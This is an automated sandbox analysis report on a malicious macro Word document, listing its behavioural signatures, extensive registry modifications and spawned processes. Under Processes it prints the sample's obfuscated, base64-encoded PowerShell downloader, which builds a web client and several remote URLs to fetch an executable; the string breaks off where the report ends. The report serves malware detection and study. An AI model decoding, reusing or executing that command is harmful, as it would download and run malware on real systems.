Malware Analysis Report

2025-01-22 12:11

Sample ID 240531-gv6mjshe3x
Target 862d28b98cd5045920effd016877bf9a_JaffaCakes118
SHA256 eebe99de8b728086eee179946bbb49bece053df02ee45f5fd5b345a6dcfa4143
Tags
macro
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

eebe99de8b728086eee179946bbb49bece053df02ee45f5fd5b345a6dcfa4143

Threat Level: Known bad

The file 862d28b98cd5045920effd016877bf9a_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

macro

Process spawned unexpected child process

Blocklisted process makes network request

Suspicious Office macro

Drops file in System32 directory

Drops file in Windows directory

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Checks processor information in registry

Modifies Internet Explorer settings

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious behavior: AddClipboardFormatListener

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-31 06:08

Signatures

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-31 06:08

Reported

2024-05-31 06:11

Platform

win7-20240220-en

Max time kernel

122s

Max time network

123s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\862d28b98cd5045920effd016877bf9a_JaffaCakes118.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MenuExt C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\TypeLib\{BBC647C8-22E1-45A4-8119-AB58A009BEC0} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\TypeLib\{BBC647C8-22E1-45A4-8119-AB58A009BEC0}\2.0 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\TypeLib\{BBC647C8-22E1-45A4-8119-AB58A009BEC0}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\862d28b98cd5045920effd016877bf9a_JaffaCakes118.doc"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -e JABFAHAAeQBxADAAcABkAD0AKAAoACcATwBmACcAKwAnAGsAOQA0ACcAKwAnAGMAJwApACsAJwBjACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBzAGUAUgBwAHIATwBmAGkATABFAFwAZgA1AF8AWABSAEYASwBcAFUAVABEADAATABHAGsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBjAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAYABVAFIAaQB0AFkAcABgAFIAbwB0AGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAbABzADEAJwArACcAMgAsACcAKQArACcAIAAnACsAKAAnAHQAbAAnACsAJwBzACcAKQArACgAJwAxACcAKwAnADEALAAgACcAKwAnAHQAbABzACcAKQApADsAJABRAGUAcwA0AGwAdgBiACAAPQAgACgAKAAnAFcAJwArACcAagBjAGMAJwApACsAKAAnAGsAXwAnACsAJwB1ADMAJwApACsAJwAyACcAKQA7ACQASwB0AGYAZgBxAHIANQA9ACgAKAAnAFEANwA5ACcAKwAnAHYAJwApACsAKAAnAHQAJwArACcANAAyACcAKQApADsAJABYAGIAawBpAGMAaQBkAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9AEYANQBfAHgAJwArACcAcgAnACsAJwBmAGsAewAwAH0AVQB0AGQAMABsAGcAJwArACcAawB7ADAAfQAnACkAIAAgAC0ARgAgAFsAQwBIAGEAUgBdADkAMgApACsAJABRAGUAcwA0AGwAdgBiACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABDAGwANwBuAGsAMQByAD0AKAAoACcAQwBiACcAKwAnAGQAaQBhACcAKQArACcAZgA3ACcAKQA7ACQATwA0AHEAdgByAGkAeAA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgBXAGUAYgBjAEwAaQBlAG4AdAA7ACQAUAB4ADkAOABiAGwANwA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnAHMAOgAnACkAKwAnAC8ALwAnACsAKAAnAGcAdQBoACcAKwAnAGEAYQBzAG0AJwApACsAKAAnAGEAJwArACcAcgB0ACcAKQArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHcAJwArACcAcAAnACkAKwAoACcALQBjACcAKwAnAG8AJwApACsAKAAnAG4AdAAnACsAJwBlACcAKQArACcAbgAnACsAJwB0ACcAKwAoACcALwBTACcAKwAnAHMAJwApACsAJwBvACcAKwAnADgAJwArACcAVAAyACcAKwAoACcALwAnACsAJwAqAGgAJwApACsAKAAnAHQAdAAnACsAJwBwACcAKQArACgAJwBzADoAJwArACcALwAvAG4AJwArACcAYQBjACcAKQArACgAJwBvAHMAJwArACcAdgBuAC4AJwArACcAYwBvAG0ALwB3AHAAJwApACsAKAAnAC0AaQBuAGMAbAB1ACcAKwAnAGQAJwApACsAKAAnAGUAcwAnACsAJwAvACcAKQArACgAJwBVAGkAeQBRAE0AJwArACcAaAAnACkAKwAnAHAAJwArACcAdAAnACsAJwB0ACcAKwAoACcALwAqAGgAJwArACcAdAB0AHAAJwApACsAJwA6AC8AJwArACgAJwAvAGMALgBtAHkAJwArACcAbQBvACcAKwAnAHIAdAAnACkAKwAoACcAZwBhAGcAZQBnAGUAJwArACcAbgAnACsAJwBpAHUAJwApACsAKAAnAHMALgBjACcAKwAnAGEALwBsACcAKQArACcAaQAnACsAJwBiAC8AJwArACcAMABzACcAKwAoACcAYgAnACsAJwBIAC8AJwApACsAKAAnACoAaAAnACsAJwB0AHQAcAA6AC8AJwApACsAKAAnAC8AZwByACcAKwAnAG8AJwApACsAJwB1AHAAJwArACcAYgAnACsAKAAnAHAAJwArACcAcwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnA